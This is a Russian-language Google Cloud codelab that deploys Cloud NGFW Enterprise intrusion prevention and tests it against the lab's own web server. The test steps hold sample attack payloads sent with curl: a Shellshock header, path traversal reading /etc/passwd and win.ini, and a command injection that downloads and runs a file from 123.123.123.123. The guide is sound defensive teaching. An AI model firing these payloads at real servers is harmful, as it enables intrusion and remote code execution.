Cloud NGFW Enterprise — служба предотвращения вторжений (без проверки TLS)

1. Введение

Облачный межсетевой экран следующего поколения (NGFW)

Cloud Next Generation Firewall — это полностью распределенная служба брандмауэра с расширенными возможностями защиты, микросегментацией и всеобъемлющим покрытием для защиты ваших рабочих нагрузок Google Cloud от внутренних и внешних атак.

Cloud NGFW имеет следующие преимущества:

  • Служба распределенного брандмауэра. Cloud NGFW обеспечивает полностью распределенное принудительное применение на основе хоста для каждой рабочей нагрузки с отслеживанием состояния, чтобы обеспечить архитектуру безопасности с нулевым доверием.
  • Упрощенная настройка и развертывание. Cloud NGFW реализует сетевые и иерархические политики брандмауэра, которые можно прикрепить к узлу иерархии ресурсов. Эти политики обеспечивают единообразную работу брандмауэра во всей иерархии ресурсов Google Cloud.
  • Детальный контроль и микросегментация: сочетание политик брандмауэра и тегов, управляемых идентификацией и доступом (IAM), обеспечивает точный контроль трафика как север-юг, так и восток-запад, вплоть до одной виртуальной машины, в виртуальном частном облаке (VPC). сети и организации.

Cloud NGFW доступен на следующих уровнях:

Облако NGFW Enterprise

Cloud NGFW Enterprise добавляет службу предотвращения вторжений (IPS) , возможность уровня 7, в распределенную структуру Google Cloud Firewall. Поддерживается проверка TLS, позволяющая проверять зашифрованный TLS трафик, но она выходит за рамки данной лаборатории кода (см. Cloud NGFW Enterprise Codelab с проверкой TLS ).

Теперь вы можете развернуть надежные проверки брандмауэра следующего поколения (NGFW) уровня 7 с детальным контролем без внесения каких-либо изменений в архитектуру сети или конфигурации маршрутизации.

Чтобы активировать и развернуть управление межсетевым экраном уровня 7 с помощью IPS, вам необходимо выполнить следующие задачи:

  • Создайте набор конечных точек зонального брандмауэра, управляемого Google Cloud.
  • При необходимости создайте политику проверки TLS (не рассматривается в этой лаборатории кода).
  • При необходимости создайте конфигурацию доверия (не рассматривается в этой кодовой лаборатории).
  • Свяжите эти конечные точки с сетями виртуального частного облака (VPC), где вам понадобится служба Cloud NGFW Enterprise.
  • Внесите простые изменения в существующие политики и правила брандмауэра, чтобы указать профили предотвращения угроз для различных путей трафика.

Политики сетевого брандмауэра

Политика сетевого брандмауэра действует как контейнер для правил брандмауэра. Правила, определенные в политике сетевого брандмауэра, нигде не применяются, пока политика не связана с сетью VPC. С каждой сетью VPC может быть связана одна политика сетевого межсетевого экрана. Политики сетевого брандмауэра поддерживают теги, управляемые IAM (или просто теги), в правилах брандмауэра, которые заменяют текущие сетевые теги и могут использоваться для обеспечения идентификации рабочей нагрузки.

Совместное использование политики сетевого межсетевого экрана в разных сетях и интеграция с тегами, управляемыми IAM, значительно упрощает настройку и управление межсетевыми экранами.

С появлением политики сетевого брандмауэра политики брандмауэра Google Cloud теперь состоят из следующих компонентов:

  1. Иерархическая политика брандмауэра
  2. Правила брандмауэра VPC
  3. Политика сетевого межсетевого экрана ( глобальная и региональная )

Иерархические политики брандмауэра поддерживаются на узлах организации и папок в иерархии ресурсов, тогда как правила брандмауэра VPC и политики сетевого брандмауэра применяются на уровне VPC. Большая разница между правилами брандмауэра VPC и политиками сетевого брандмауэра заключается в том, что правила брандмауэра VPC могут применяться только к одной сети VPC, тогда как политики сетевого брандмауэра могут быть прикреплены к одному VPC или группе VPC, помимо других преимуществ, таких как пакетные обновления.

Наконец, у нас также есть подразумеваемые правила брандмауэра , которые есть в каждой сети VPC:

  • Выходное правило, действие которого разрешено, пункт назначения — 0.0.0.0/0.
  • Правило входящего трафика, действие которого запрещено, источник — 0.0.0.0/0.

По умолчанию последовательность применения показана на следующей диаграмме:

21b3bcabc469ffe.png

Обратите внимание, что порядок применения правил брандмауэра VPC и политики брандмауэра глобальной сети можно поменять местами. Клиенты могут указать порядок принудительного исполнения в любое время с помощью команды gcloud .

Теги , управляемые IAM

Новые теги, интегрированные в правила политики сетевого брандмауэра, представляют собой ресурсы пары «ключ-значение», определенные на уровне организации или проекта в иерархии ресурсов Google Cloud. Такой тег содержит элемент управления доступом IAM, как следует из названия, который определяет, кто и что может делать с тегом. Разрешения IAM, например, позволяют указать, какие участники могут присваивать значения тегам, а какие участники могут прикреплять теги к ресурсам. После применения тега к ресурсу правила сетевого брандмауэра могут использовать его для разрешения и запрета трафика.

Теги соответствуют модели ресурсов наследования Google Cloud, то есть теги и их значения передаются по иерархии от их родителей. В результате теги могут создаваться в одном месте, а затем использоваться другими папками и проектами по всей иерархии ресурсов. Посетите эту страницу для получения подробной информации о тегах и ограничении доступа.

Теги не следует путать с сетевыми тегами . Последние представляют собой строки, которые можно добавлять в экземпляры Compute Engine; они связаны с экземпляром и исчезают, когда экземпляр выводится из эксплуатации. Правила брандмауэра VPC могут включать сетевые теги, но, поскольку они не считаются облачными ресурсами, на них не распространяется контроль доступа IAM.

Обратите внимание, что теги и теги, управляемые IAM, в этом документе используются как взаимозаменяемые слова.

Что ты построишь

Для этой лаборатории кода требуется один проект и возможность создания сети VPC с общедоступным подключением. В ней будет продемонстрировано, как Cloud NGFW Enterprise может обеспечить функциональность IPS посредством:

  • Проверка потоков внутри VPC/подсети [Восток-Запад]
  • Проверка входящих потоков из Интернета [Север-Юг]

Потоки, подлежащие проверке, будут выбраны с использованием параметров соответствия Cloud Firewall, включая 5-кортеж (IP-адрес источника, IP-адрес назначения, протокол, порт источника, порт назначения) и теги. Проверка TLS не включена в эту кодовую лабораторию.

52a0642ef8668ecf.png

База правил политики сетевого брандмауэра будет аналогична таблице ниже:

Приоритет

Направление

Цель

Источник

Место назначения

Действие

Тип

100

Выход

Карантин_Тег

Любой

Любой

Отрицать

Основы

1000

Вход

Server_Tag

Диапазоны проверки работоспособности

Любой

Позволять

Основы

2000 г.

Вход

Любой

Диапазоны прокси-серверов с учетом личных данных

Любой

Позволять

Основы

3000

Вход

Любой

Гео, GCTI

Любой

Отрицать

Стандартный

4000

Выход

Любой

Любой

Гео, GCTI

Отрицать

Стандартный

5000

Выход

Любой

Любой

Полные доменные имена обновления системы

Позволять

Стандартный

6000

Вход

Server_Tag

10.0.0.0/24

Любой

IPS

Предприятие

7000

Вход

Server_Tag

CloudNAT_IP

Любой

IPS

Предприятие

Что вы узнаете

Что вам понадобится

  • Проект Google Cloud
  • Знание развертывания экземпляров и настройки сетевых компонентов.
  • Знание конфигурации брандмауэра VPC

2. Прежде чем начать

Создать/обновить переменные

В этой лаборатории кода используются переменные $variables для облегчения реализации конфигурации gcloud в Cloud Shell.

В Cloud Shell выполните приведенные ниже команды, заменяя при необходимости информацию в скобках (пропустите настройку проекта, если нужный уже задан). Другая переменная используется для ресурсов уровня организации, если, например, требуется несколько конечных точек брандмауэра.

gcloud config set project [project-id]

export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=cloudngfw
export org_prefix=cloudngfw
export billing_project_id=[project-id]

3. Включите API

Включите API, если вы этого не сделали:

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Профиль безопасности предприятия Cloud NGFW и создание конечных точек

Поскольку создание конечной точки Cloud NGFW Enterprise занимает около 20 минут, она будет создана первой, а базовую настройку можно будет выполнить параллельно во время создания конечной точки.

Создайте профиль безопасности и группу профилей безопасности:

gcloud network-security security-profiles threat-prevention \
  create $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $org_prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat

Ожидаемый результат:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com
plete...done.                                                                                                                                 
Created security profile group [$org_prefix-spg].

Подтвердите, что ресурсы были успешно созданы:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Ожидаемый результат:

NAME: cloudngfw-sp-threat
NAME: cloudngfw-spg

Создайте конечную точку Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $org_prefix-$zone \
  --zone=$zone --organization $org_id \
  --billing-project $billing_project_id

Запустите приведенную ниже команду, чтобы подтвердить создание конечной точки (СОСТОЯНИЕ: СОЗДАНИЕ ).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Ожидаемый результат (обратите внимание, что формат вывода может различаться в зависимости от используемого клиента):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: CREATING

При необходимости выполните команду ниже, чтобы получить более подробную информацию:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

Ожидаемый результат:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: CREATING
updateTime: '2023-04-25T18:08:45.493499362Z'

Процесс создания конечной точки занимает около 20 минут. Перейдите в раздел «Базовая настройка», чтобы параллельно создать необходимые ресурсы.

5. Настройка базы

Перейдите к следующим разделам, если вы предпочитаете создавать базовые ресурсы вручную.

Сеть и подсеть VPC

Сеть и подсеть VPC

Создайте сеть и подсеть VPC:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Облачный NAT

Создайте облачные маршрутизаторы и шлюзы Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

I экземпляры

Создайте экземпляры клиента и веб-сервера:

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --scopes=compute-ro \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils iperf3 tcpdump -y'

Теги уровня проекта

При необходимости назначьте пользователю права tagAdmin и/или tagUser:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser

Создайте ключ и значения тега на уровне проекта:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-quarantine \
   --parent=$project_id/$prefix-vpc-tags

Привязываем теги к экземплярам:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Политика брандмауэра глобальной сети

Создайте политику брандмауэра глобальной сети:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise" --global

Создайте правила Cloud Firewall Essential, чтобы запретить трафик из экземпляров, находящихся в карантине (созданных только в качестве примера, не используемых в этой лаборатории кода) и разрешить трафик из диапазонов прокси-серверов , проверяющих работоспособность и идентифицирующих личность :

gcloud compute network-firewall-policies rules create 100 \
        --description="block quarantined workloads" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \
        --dest-ip-ranges=0.0.0.0/0

gcloud compute network-firewall-policies rules create 1000 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 2000 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

Создайте стандартные правила Cloud Firewall, чтобы запретить входящий и исходящий трафик из/в страны, на которые наложено эмбарго, известные вредоносные IP-адреса и выходные узлы ToR; и разрешать исходящий трафик только на определенные полные доменные имена для обновлений системы (созданные только в качестве примера, не используемые в этой лаборатории кода):

gcloud compute network-firewall-policies rules create 3000 \
        --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=INGRESS \
        --src-region-codes CU,IR,KP,SY,XC,XD \
        --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 4000 \
        --description="block egress traffic from sactioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --dest-region-codes CU,IR,KP,SY,XC,XD \
        --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 5000 \
        --description "allow system updates" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=EGRESS \
--dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com

Создайте правила Cloud Firewall, чтобы разрешить входящий трафик восток-запад/внутри подсети и север-юг/интернет-трафик из определенных диапазонов (эти правила будут обновлены для включения Cloud NGFW Enterprise):

gcloud compute network-firewall-policies rules create 6000 \
        --description "allow ingress internal traffic from clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs all \
        --src-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud compute network-firewall-policies rules create 7000 \
        --description "allow ingress external traffic to server" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --enable-logging \
        --src-ip-ranges=$cloudnatip \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Свяжите политику сетевого брандмауэра с сетью VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

Внешний балансировщик сетевой нагрузки TCP/UDP

Зарезервируйте внешний IP-адрес, создайте группу экземпляров и проверьте работоспособность:

gcloud compute addresses create $prefix-$region-nlbip --region=$region

gcloud compute instance-groups unmanaged create $prefix-ig \
    --zone $zone

gcloud compute instance-groups unmanaged add-instances $prefix-ig \
   --instances $prefix-$zone-www --zone $zone

gcloud compute health-checks create http $prefix-$region-hc-http80 \
   --region $region --port 80

Создайте серверную службу и правило переадресации:

gcloud compute backend-services create $prefix-nlb-bes \
    --protocol TCP \
    --health-checks $prefix-$region-hc-http80 \
    --health-checks-region $region \
    --region $region

gcloud compute backend-services add-backend $prefix-nlb-bes \
    --instance-group $prefix-ig \
    --instance-group-zone $zone \
    --region $region

gcloud compute forwarding-rules create $prefix-nlb-ipv4 \
  --load-balancing-scheme EXTERNAL \
  --region $region \
  --ports 80 \
  --address $prefix-$region-nlbip \
  --backend-service $prefix-nlb-bes

6. Ассоциация конечных точек предприятия Cloud NGFW

При необходимости переопределите переменные среды.

Убедитесь, что создание конечной точки Cloud Firewall успешно завершено. Продолжайте только тогда, когда состояние отображается как АКТИВНОЕ (во время создания ожидаемое состояние — СОЗДАНИЕ ):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Ожидаемый результат (обратите внимание, что формат вывода может различаться в зависимости от используемого клиента):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: ACTIVE

При необходимости выполните команду ниже, чтобы получить более подробную информацию:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

Ожидаемый результат:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: ACTIVE
updateTime: '2023-04-25T18:29:40.840608100Z'

Свяжите конечную точку Cloud NGFW Enterprise с сетью VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc --endpoint $org_prefix-$zone \
  --organization $org_id

Процесс ассоциации занимает около 10 минут. Продолжайте только тогда, когда состояние отображается как АКТИВНОЕ (ожидаемое состояние СОЗДАЕТСЯ во время процесса создания):

gcloud network-security firewall-endpoint-associations list

Ожидаемый результат:

ID: cloudngfw-association
LOCATION: [zone]
NETWORK: cloudngfw-vpc
ENDPOINT: cloudngfw-[zone]
STATE: ACTIVE

При необходимости выполните команду ниже, чтобы получить более подробную информацию:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Ожидаемый результат:

createTime: '2023-05-01T22:25:06.218544436Z'
firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association
network: projects/[project-id]/global/networks/cloudngfw-vpc
state: ACTIVE
updateTime: '2023-05-01T22:33:06.467596536Z'

7. Правила проверки предприятия Cloud NGFW

Откройте новую вкладку и инициируйте SSH-соединение с клиентской виртуальной машиной через IAP (вам нужно будет снова определить переменные на новой вкладке):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Определите требуемые переменные в сеансе SSH и установите переменные (убедитесь, что значения верны):

export region=[region]
export zone=[zone]
export prefix=cloudngfw

export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)")

export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")

сверните оба IP-адреса, чтобы убедиться, что они доступны:

curl $target_privateip --max-time 2

curl $target_nlbip --max-time 2

Ожидаемый результат для обоих запросов на завивку:

Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]

Отправьте образцы атак на внутренний IP-адрес сервера (трафик Восток-Запад / внутриVPC). Веб-сервер должен отвечать на все запросы, подтверждая отсутствие проверки/профилактики L7:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Повторно отправьте примеры атак на IP-адрес внешнего сервера через Cloud NAT (входящий трафик «Север-Юг»), и аналогичным образом веб-сервер должен отвечать на все запросы:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Ожидаемые результаты как для общедоступных, так и для частных IP-адресов:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

Вернитесь в Cloud Shell и обновите существующие правила входящего трафика, чтобы включить проверку L7:

gcloud compute network-firewall-policies rules update 6000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

gcloud compute network-firewall-policies rules update 7000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

При необходимости опишите правила брандмауэра, чтобы убедиться, что оба они были успешно обновлены:

gcloud compute network-firewall-policies rules describe 6000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

Ожидаемый результат:

---
action: apply_security_profile_group
description: allow ingress internal traffic from tagged clients
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: all
  srcIpRanges:
  - 10.0.0.0/24
priority: 800
ruleTupleCount: 4
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

Правило 7000:

gcloud compute network-firewall-policies rules describe 7000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

Ожидаемый результат:

---
action: apply_security_profile_group
description: allow ingress external traffic to server
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: tcp
    ports:
    - '80'
  - ipProtocol: tcp
    ports:
    - '443'
  srcIpRanges:
  - [cloudnat-ip]
priority: 900
ruleTupleCount: 6
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

Вернитесь на клиентскую виртуальную машину и повторно отправьте образцы атак на IP-адрес внутреннего сервера (проверка Восток-Запад / ВнутриVPC):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Повторно отправьте примеры атак на IP-адрес внешнего сервера через Cloud NAT (входящая проверка «Север-Юг»):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Никаких ответов на первые атаки не получено, как ожидается, ниже, что подтверждает, что атаки высокой степени серьезности в настоящее время блокируются.

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

Перейдите в раздел «Сетевая безопасность» > «Угрозы» в облачной консоли, чтобы проверить журналы (возможно, вам придется обновить их несколько раз, если атаки еще не отображаются).

daa535fcc34873aa.png

Выберите одну из атак и нажмите «Просмотреть журнал аудита» справа (откройте в новой вкладке, чтобы легко переключиться обратно). Разверните атаку, чтобы показать подробности:

5f97cdef79e42eff.png

При необходимости замените фильтр Log Explorer запросом ниже:

resource.type="networksecurity.googleapis.com/FirewallEndpoint"

Записи журнала угроз должны выглядеть, как показано ниже:

5ea9581a7eb694c5.png

Пакеты, перехваченные Cloud Firewall, можно проверить с помощью фильтра Log Explorer ниже (полезно для устранения неполадок):

jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"

f3766ea8d66ddef8.png

Продолжайте проверку интернет-трафика (необязательно) или закройте сеанс SSH и перейдите к следующей главе, посвященной шагам очистки.

[Необязательно] Проверка интернет-трафика

Как было проверено в предыдущем разделе, на данный момент проверенными потоками являются внутриподсети/VPC (восток-запад) и входящий трафик из Интернета (входящий трафик север-юг). Cloud NGFW Enterprise также можно настроить для проверки всего интернет-трафика (исходящего с севера на юг), создав новое выходное правило с помощью Cloud Shell:

gcloud compute network-firewall-policies rules create 10000 \
   --description "inspect all egress internet traffic from clients" \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --global-firewall-policy \
   --layer4-configs=tcp:80,tcp:443 \
   --direction=EGRESS \
   --dest-ip-ranges=0.0.0.0/0 \
   --enable-logging \
   --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

Вернитесь на клиентскую виртуальную машину и повторно отправьте атаки высокой степени серьезности на IP-адрес внешнего сервера:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

Ожидаемый результат:

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received

Перейдите на вкладку «Угрозы» в Cloud Console, чтобы проверить журналы (возможно, вам придется обновить их несколько раз). Атаки должны были быть идентифицированы и зарегистрированы снова, но теперь исходный IP-адрес является внутренним, поскольку сначала срабатывает выходное правило:

36f8edf264dcddcd.png

Закройте сеанс SSH и перейдите к следующему разделу, посвященному шагам очистки .

8. Этапы очистки

Очистка корпоративных компонентов Cloud NGFW

Перечислите существующие ассоциации Cloud NGFW Enterprise:

gcloud network-security firewall-endpoint-associations list

Удалите ассоциацию Cloud NGFW Enterprise:

gcloud network-security firewall-endpoint-associations delete \
   $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list

Перечислите существующие конечные точки Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Удалите конечную точку Cloud NGFW Enterprise, что может занять около 20 минут:

gcloud -q network-security firewall-endpoints delete \
   $org_prefix-$zone --zone=$zone --organization $org_id

Подтвердите, что Cloud NGFW Enterprise был удален, выполнив следующую команду:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Удалите группу профилей безопасности и профиль предотвращения угроз:

gcloud -q network-security security-profile-groups delete \
  $org_prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

Очистка базовой установки

Перейдите к следующему шагу, если вы предпочитаете удалить базовые ресурсы.

При необходимости определите переменные среды. В Cloud Shell удалите компоненты Network Load Balancer:

gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region

gcloud -q compute backend-services delete $prefix-nlb-bes --region $region

gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region

gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone

Удалить экземпляры:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

При необходимости выполните следующие действия, если роли tagAdmin и tagUsers были изменены:

